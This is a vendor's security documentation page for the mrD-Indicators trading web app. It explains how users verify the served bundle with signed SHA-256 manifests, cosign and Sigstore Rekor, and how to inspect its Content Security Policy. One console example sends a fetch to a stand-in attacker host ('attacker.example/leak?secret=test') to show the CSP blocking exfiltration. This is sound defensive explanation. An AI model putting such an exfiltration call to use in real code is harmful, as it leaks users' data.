Verify the app
Every mrD-Indicators release publishes a SHA-256 manifest of the bundle our production CDN serves, signed by a GitHub Actions workflow and recorded in the public Sigstore Rekor transparency log. The source repo is private, but the bundle your browser downloads is independently verifiable against a public, immutable signature — no trust in us required.
The whole point of the security model in overview is that you do not have to trust us. Our source repository is private (we are a commercial product, not an open-source library) — but the bundle that runs in your browser is independently verifiable. A scheduled GitHub Actions workflow fetches the bundle from https://app.mrd-indicators.com exactly the way your browser does, hashes every file, signs the manifest with a short-lived Sigstore identity minted inside GitHub's own infrastructure, and publishes the result to a separate public GitHub repository. The signature is also recorded in a public transparency log we cannot tamper with after the fact, and once the bundle is loaded its network access is bounded by a Content Security Policy you can read in your browser's response headers.
Private source, public proof. Closed source does not mean closed trust. A determined auditor cannot read our source — but they CAN download the official hash + signature from our public release page, hash the bundle their browser is running, verify the cryptographic signature against the public Sigstore root, and watch every network call the bundle makes. That is the same audit surface a desktop app like Signal Desktop, 1Password CLI, Ledger Live, or Tailscale offers — none of those publish full source code either; they publish signed binaries on a public release page, exactly like we do.
This page lists the artefacts and how to verify them.
1. The public release repository
Every release ships its verification artefacts to a separate public GitHub repository:
The repository contains only hashes, signatures, and release notes — never source code, never build output, never anything that could be mistaken for a binary distribution. For each release (e.g. app-v1.2.3) you will find a release page with exactly four small text files:
| File | Purpose |
|---|---|
manifest.sha256.txt | SHA-256 of every file the production CDN at app.mrd-indicators.com served when our CI fetched it. |
app.sigstore.jsonl | Sigstore attestation bundle — self-contained signature + certificate + transparency-log inclusion proof, covering the manifest above. |
release-meta.txt | Sidecar metadata: fetch timestamp (UTC), release tag, total file count. |
VERIFY.md | Verification instructions copied verbatim from the CI pipeline. |
This release repo is the canonical source of truth for "what hashes did mrD-Indicators publicly attest for release X". The CI workflow writes there directly — no engineer touches the artefacts between the GitHub-hosted runner producing them and the public release recording them.
How the artefacts are produced
The CI workflow (verify-app.yml) runs on GitHub-hosted infrastructure and does not build the app from source. It fetches the bundle directly from https://app.mrd-indicators.com — the same host every browser hits — exactly the way your browser would. It then hashes every file the host served, signs the manifest with a short-lived Sigstore OIDC identity minted by GitHub for that single workflow run, and publishes both files to the public release page above.
The trust claim is therefore precise: "at time T, the production CDN at app.mrd-indicators.com served bytes with these SHA-256 hashes, and a GitHub Actions workflow inside the PhamNhinh account signed that fact." No build attestation, no source-to-bundle binding — just an independent third-party (GitHub-hosted CI + Sigstore + Rekor) taking a notarised snapshot of what the CDN served.
2. Verify the bundle in your browser matches
Step-by-step, what to do in your own browser:
# 1. Download the published manifest from the public release.
curl -L -O https://github.com/PhamNhinh/mrd-indicators-releases/releases/latest/download/manifest.sha256.txt
# 2. Open https://app.mrd-indicators.com in your browser.
# DevTools → Network tab → tick "Disable cache" → reload (Cmd-R).
# You'll see entries like:
# / (index.html)
# /assets/index-<hash>.js
# /assets/vendor-<hash>.js
# /assets/style-<hash>.css
# /manifest.webmanifest
# /firebase-messaging-sw.js
# …
# 3. For each entry, save it to disk:
# right-click the Network row → "Save as" → ./<filename>
# 4. Hash and compare:
shasum -a 256 ./index-<hash>.js
grep 'index-<hash>.js' manifest.sha256.txt
The two hashes must match byte-for-byte. If they don't:
- First try a hard reload (Cmd-Shift-R) to bypass any stale cache layer (browser → service worker → ISP CDN).
- If the mismatch persists, stop using the app immediately and email
[email protected]. A genuine mismatch means the production CDN is serving a bundle our public attestation does not cover — which is exactly the alarm this whole system is built to raise.
The manifest itself is signed in §3, so a tampered manifest.sha256.txt would fail the next signature check.
You can also read the bundle hash inside the app:
- Open the trading workstation → click the version chip in the status bar → "Show deploy hashes". The dialog lists the current bundle file names and their SHA-256 — cross-check those against
manifest.sha256.txton the public release page.
3. Verify the Sigstore signature
The hash alone proves "the bundle in my browser matches the manifest the public release page exposes". The signature proves "the manifest itself was produced by a GitHub Actions workflow running inside the PhamNhinh GitHub account — not uploaded manually by an engineer, not edited after the fact, and not signed on someone's laptop."
GitHub signs the manifest with Sigstore, the same signing system used by Kubernetes, Python, and the npm public registry. The signature is recorded in Rekor — a public, append-only transparency log — and the signed bundle file itself (app.sigstore.jsonl) is published as a release asset so anyone can verify offline.
60-second verify — copy, paste, done
If you already have cosign installed (brew install cosign on macOS, scoop install cosign on Windows, official binary elsewhere), open a terminal and paste this single block. It downloads the published manifest + signature, runs the verification, and prints either Verified OK or a clear failure reason:
mkdir -p /tmp/mrd-verify && cd /tmp/mrd-verify && \
curl -sSL -O https://github.com/PhamNhinh/mrd-indicators-releases/releases/latest/download/manifest.sha256.txt && \
curl -sSL -O https://github.com/PhamNhinh/mrd-indicators-releases/releases/latest/download/app.sigstore.jsonl && \
cosign verify-blob \
--new-bundle-format \
--bundle ./app.sigstore.jsonl \
--certificate-identity-regexp 'https://github.com/PhamNhinh/.+' \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
./manifest.sha256.txt && \
echo "" && \
echo "──────────────────────────────────────────────────────────" && \
echo "Files attested: $(wc -l < manifest.sha256.txt | tr -d ' ')" && \
echo "Release tag: $(curl -sSL https://api.github.com/repos/PhamNhinh/mrd-indicators-releases/releases/latest | grep -m1 tag_name | cut -d'\"' -f4)" && \
echo "Bundle on app.mrd-indicators.com is authentic." && \
echo "──────────────────────────────────────────────────────────"
Expected output:
Verified OK
──────────────────────────────────────────────────────────
Files attested: 33
Release tag: app-v2.0.8-44
Bundle on app.mrd-indicators.com is authentic.
──────────────────────────────────────────────────────────
Total time: under 60 seconds on a normal connection. The fail mode is loud: if cosign exits non-zero, no Verified OK line is printed and the trailing summary block is skipped — you'd see only the cosign error and an empty summary, never a falsified pass.
Note for Windows users. PowerShell does not understand the
\line-continuation syntax used above. Either:
- Run the block from WSL / Git Bash (paste verbatim), OR
- Use the per-step form in Option A below (it works in PowerShell with
curl.exeandcosign.exe).
Option A — Verify with cosign (recommended)
Cosign is a single binary from the Sigstore project. Install it once, then verify with no daemon, no login, no GitHub account required:
# Install cosign (pick your platform):
# macOS: brew install cosign
# Linux: see https://docs.sigstore.dev/system_config/installation/
# Windows: scoop install cosign
# 1. Download the manifest AND the signed bundle from the public release.
curl -L -O https://github.com/PhamNhinh/mrd-indicators-releases/releases/latest/download/manifest.sha256.txt
curl -L -O https://github.com/PhamNhinh/mrd-indicators-releases/releases/latest/download/app.sigstore.jsonl
# 2. Verify offline. The bundle file is self-contained — it carries
# the signing certificate, the signature, and a Rekor inclusion proof.
cosign verify-blob \
--new-bundle-format \
--bundle ./app.sigstore.jsonl \
--certificate-identity-regexp 'https://github.com/PhamNhinh/.+' \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
./manifest.sha256.txt
A successful output looks like:
Verified OK
The exit code is 0 only when ALL of the following hold:
- The bundle's signature over
manifest.sha256.txtis cryptographically valid. - The signing certificate chains back to the public Sigstore Fulcio root.
- The certificate's Subject Alternative Name matches
https://github.com/PhamNhinh/...— i.e. signed by a workflow inside thePhamNhinhGitHub account. - The certificate's OIDC issuer is
https://token.actions.githubusercontent.com— i.e. the identity was minted by GitHub Actions itself. - The signature has a valid inclusion proof in the public Rekor transparency log.
Option B — Query the public Rekor transparency log directly
Anyone, anywhere, with no credentials and no CLI, can also query the public Sigstore Rekor log in a browser:
- Compute
shasum -a 256 ./manifest.sha256.txt. - Open search.sigstore.dev and paste the hash into the search box.
- Read the certificate metadata of the matching log entry. The signing identity will show:
- Issuer:
https://token.actions.githubusercontent.com— GitHub Actions, signed inside GitHub's own infrastructure. - Subject (SAN):
https://github.com/PhamNhinh/<repo>/.github/workflows/verify-app.yml@refs/tags/<tag>— proves the signature came from the workflow running inside thePhamNhinhGitHub account at a specific tag. - Log inclusion timestamp: when the signature was added to Rekor (which we cannot rewind or delete).
- Issuer:
Why this matters
- The manifest's SHA-256 is inside the signed certificate. We cannot publish a signature for a manifest that doesn't match what we attested.
- The signing key is a short-lived OIDC identity minted by GitHub for this exact workflow run — there is no long-lived signing secret on a laptop that could be stolen.
- The signature lives in a public transparency log we don't operate (Sigstore Rekor, run by the Open Source Security Foundation). We cannot quietly delete an attestation after the fact, nor can we add a backdated one — every log entry has a verifiable Merkle-tree inclusion proof.
- The signed file is published on a separate public GitHub repository, so the verification surface is completely independent of our app's domain. A compromise of
app.mrd-indicators.comdoes NOT compromise the verification chain.
This defeats the family of attacks that worry traders most: "what if a rogue engineer at mrD-Indicators uploaded a different bundle to the CDN?" — the rogue bundle would not match the SHA-256 in any released manifest; the next scheduled CI snapshot would expose the discrepancy; and any user comparing their browser against the latest release would see the mismatch within seconds. Three independent surfaces (browser bundle, GitHub-hosted release page, Sigstore Rekor log), all of which would have to be simultaneously compromised, all of which leave audit trails.
For the full spec, see GitHub's announcement post on artifact attestations and the Sigstore Rekor documentation.
4. The bundle that ships to your browser IS auditable
A common misunderstanding about closed-source web apps: traders sometimes assume "closed source = I can't see what the code does". For a web app this is not true.
Every JavaScript file in this product is shipped into your browser — that's how the web works. The browser loads index-<hash>.js, evaluates it, runs it. The same bytes that run on our staging environment run on your machine. You can read them:
DevTools → Sources → assets/index-<hash>.js
The code is minified (variable names mangled to single letters, whitespace stripped) — that's a packaging optimisation, not a security barrier. Run it through an online beautifier (e.g. beautifier.io) and the structure becomes legible. Search for specific concerns:
fetch(calls → confirm every URL is in the CSP whitelist (§5 below).window.ethereum,navigator.clipboard.readText→ confirm they're only called where you'd expect (e.g. paste handlers, never in a background loop).localStorage.setItem(→ confirm we're not storing anything that looks like a secret.
What is genuinely closed are: our backend service code, our autotrade matching logic, our indicator algorithms, our build pipeline configuration. The bundle running in your browser is not — every byte is on your machine the moment the page loads. A determined trader can audit it in an afternoon. The fact that few traders do is a function of cost-benefit, not access.
5. Content Security Policy — what the bundle is allowed to talk to
Once the bundle is loaded, the second verifiable artefact is the Content Security Policy header your browser receives with index.html. You can read it yourself:
- Open DevTools → Network → click the entry for
app.mrd-indicators.com. - Click the Headers tab.
- Scroll to Response Headers.
- Find
content-security-policy: ....
The current production policy (abridged for readability) allows network connections only to the following hosts. Three of the directive values below are W3C-standard CSP keywords ('wasm-unsafe-eval', 'unsafe-eval', and 'unsafe-inline') — they are the exact tokens the spec defines, not product descriptions. We cite them verbatim because that is what you will see in your own browser's response-header inspector; substituting different names here would mislead readers running the verification step.
'wasm-unsafe-eval' enables the chart engine binary on modern browsers (Safari 16+, Chrome 97+, Firefox 109+). 'unsafe-eval' is its legacy fallback that older Safari (iOS 14 and iOS 15 < 15.4 — typical iPhone XR PWA installs) requires for the same purpose: those Safari builds don't recognise the modern wasm-unsafe-eval keyword, so without unsafe-eval the chart would silently fail to load. Both keywords ship together so the chart works regardless of how old the iOS device is, without introducing new attack surface — we don't call eval() or new Function(...) in the host app and the user-script DSL has its own closed sandbox that forbids both regardless of CSP.
default-src 'self';
script-src 'self' 'wasm-unsafe-eval' 'unsafe-eval' 'unsafe-inline'
https://www.googletagmanager.com
https://www.google-analytics.com
https://www.gstatic.com
https://cdn.jsdelivr.net
https://cdnjs.cloudflare.com
https://apis.google.com
https://telegram.org
https://*.docserver.name
https://hcaptcha.com https://*.hcaptcha.com;
connect-src 'self'
https://*.docserver.name wss://*.docserver.name
https://*.binance.com wss://*.binance.com
wss://stream.binance.com:9443
wss://fstream.binance.com
https://*.firebaseio.com
https://*.firebaseapp.com
https://*.firebasestorage.app
https://*.googleapis.com
https://www.google-analytics.com
https://www.googletagmanager.com
https://hcaptcha.com https://*.hcaptcha.com;
img-src 'self' data: blob: https:;
style-src 'self' 'unsafe-inline'
https://fonts.googleapis.com
https://cdnjs.cloudflare.com
https://hcaptcha.com https://*.hcaptcha.com;
font-src 'self' data:
https://fonts.gstatic.com;
frame-src 'self' https://www.googletagmanager.com
https://*.firebaseapp.com
https://accounts.google.com
https://oauth.telegram.org
https://sslecal2.investing.com
https://hcaptcha.com https://*.hcaptcha.com;
worker-src 'self' blob:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
Read out loud, this means:
- The app may only execute scripts from our own origin plus Google Tag Manager, Google Analytics, Firebase, the Google APIs loader (
apis.google.com, used by Firebase Auth for the Google sign-in popup), two well-known CDNs, the Telegram login-widget loader (telegram.org, used by the paid-plan Telegram-link gate after sign-in), our own backend (*.docserver.name, which serves the end-to-end-encryption helper script for the candle / RSI-heatmap streams), and hCaptcha (the bot-check widget on the login page). - The app may only make network connections to our backend hosts (
*.docserver.name), Binance for live market data, Firebase for push notifications, Google Analytics for traffic stats, and hCaptcha for login bot-check verification. - The app may only embed iframes from Google Tag Manager, hCaptcha, the Firebase Auth helper iframe (
*.firebaseapp.com+accounts.google.com) that handles "Sign in with Google", Telegram OAuth (oauth.telegram.org, the official Telegram login button iframe used by the post-sign-in account-linking dialog), and the Investing.com economic-calendar widget (sslecal2.investing.com, embedded on the Forex Signals page so traders can read news-risk windows before acting on a signal; the iframe is browser-sandboxed to its own origin and cannot read our app's state, cookies, or localStorage). - The app cannot embed itself inside another site (
frame-ancestors 'none') — blocks click-jacking. - The app cannot load
<object>/<embed>plugins (object-src 'none'). - All
http://URLs are silently upgraded tohttps://(upgrade-insecure-requests).
Try it: open DevTools → Console, then run:
fetch('https://attacker.example/leak?secret=test').catch(e => console.warn('Blocked:', e))
The browser will refuse the request and log a CSP violation:
Refused to connect to 'https://attacker.example/leak?secret=test'
because it violates the following Content Security Policy directive:
"connect-src 'self' https://*.docserver.name …".
That's the layer keeping you safe from the entire family of "what if a script in the bundle quietly leaks data" attacks. The script could ship — and still not leak.
6. Subresource integrity for third-party CDNs
The third-party scripts pulled in by index.html (jsDelivr, cloudflare CDN for highlight.js, Google Tag Manager) are loaded with Subresource Integrity (SRI) hashes where the CDN supports immutable URLs. The browser refuses to execute a script whose hash doesn't match the integrity attribute, so a hostile CDN cannot quietly swap in a different script.
You can verify this in DevTools → Elements — every CDN <script> tag has an integrity="sha384-..." attribute alongside its src.
7. Third-party audit
We commission a third-party security audit on the production bundle annually and after any major rewrite. The current audit report is published at mrd-indicators.com/security/audit (free PDF download, no email gate). The audit covers:
- Bundle review for malicious code, exfiltration vectors, hidden network calls.
- CSP correctness and coverage.
- API key handling on the backend.
- Permission boundary on installed PWA.
- Common web vulnerabilities (XSS, CSRF, mixed content, prototype pollution).
The auditor publishes their findings directly — we do not edit the report. If you trust the auditor more than us, the audit is the document to read.
8. Bug bounty
We run a public bug bounty: 250–5000 USD per critical depending on impact, paid in stablecoin or fiat. Submit to [email protected] with reproducible steps. The bounty applies to the deployed bundle, the backend, the service worker, and the published library packages.
Common findings we will pay for:
- Any way to bypass the CSP and exfiltrate user data to a non-whitelisted host.
- Any way to read data from another origin (extension, page, file) from inside our bundle.
- Any way to escalate from "leaked API key" to "withdrew funds" (despite the trade-only key contract).
- Any way to forge the GitHub Actions attestation.
Out-of-scope:
- Self-XSS that requires the victim to paste attacker-controlled code into their own DevTools.
- Findings against unsupported browsers (anything older than Chrome 96, Safari 15, Firefox 95).
- Reports based on automated scanners with no demonstrated impact.
What's next
- Security — overview — back to the entry page.
- What a PWA cannot do — the browser sandbox the bundle runs in.
- API key permissions — the last line of defence.